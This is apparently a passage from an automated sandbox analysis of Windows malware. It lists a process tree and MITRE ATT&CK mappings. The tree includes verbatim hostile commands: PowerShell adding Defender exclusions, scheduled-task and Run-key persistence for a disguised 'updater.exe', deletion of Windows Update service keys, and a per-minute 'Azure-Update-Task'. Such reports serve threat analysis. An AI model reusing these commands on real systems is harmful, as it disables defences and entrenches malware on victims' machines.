    - Accesses Microsoft Outlook profiles
    - Checks processor information in registry
    - outlook_office_path
    - outlook_win_path
    PID:4324
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2268 -s 704
    3⤵
    - Program crash
    PID:4472
- C:\Users\Admin\AppData\Local\Temp\874A.exe
  C:\Users\Admin\AppData\Local\Temp\874A.exe
  2⤵
  - Executes dropped EXE
  PID:2520
- C:\Users\Admin\AppData\Local\Temp\8D85.exe
  C:\Users\Admin\AppData\Local\Temp\8D85.exe
  2⤵
  - Executes dropped EXE
  PID:4180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3408
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3440
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:3956
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1260
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3488
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2008
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4288
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:2896
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3580
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1420
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3464
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5020
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1576
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2300
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1132
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2484
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4200
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4824
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1188
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:1856
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:4508
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:2828
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:3616
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:2188
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:3888
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1652
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Modifies data under HKEY_USERS
  PID:1552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3772 -ip 3772
1⤵
PID:4824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2376 -ip 2376
1⤵
PID:4516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3972 -ip 3972
1⤵
PID:1092

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4828
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  - Loads dropped DLL
  PID:4744
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4744 -s 596
    3⤵
    - Program crash
    PID:1996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4744 -ip 4744
1⤵
PID:3024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2956 -ip 2956
1⤵
PID:1656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 912 -ip 912
1⤵
PID:3888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 2268 -ip 2268
1⤵
PID:2276

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:4440

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:4844
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:1412

C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe
C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe
1⤵
- Executes dropped EXE
PID:3312

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

Impair Defenses

Modify Registry

Web Service

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery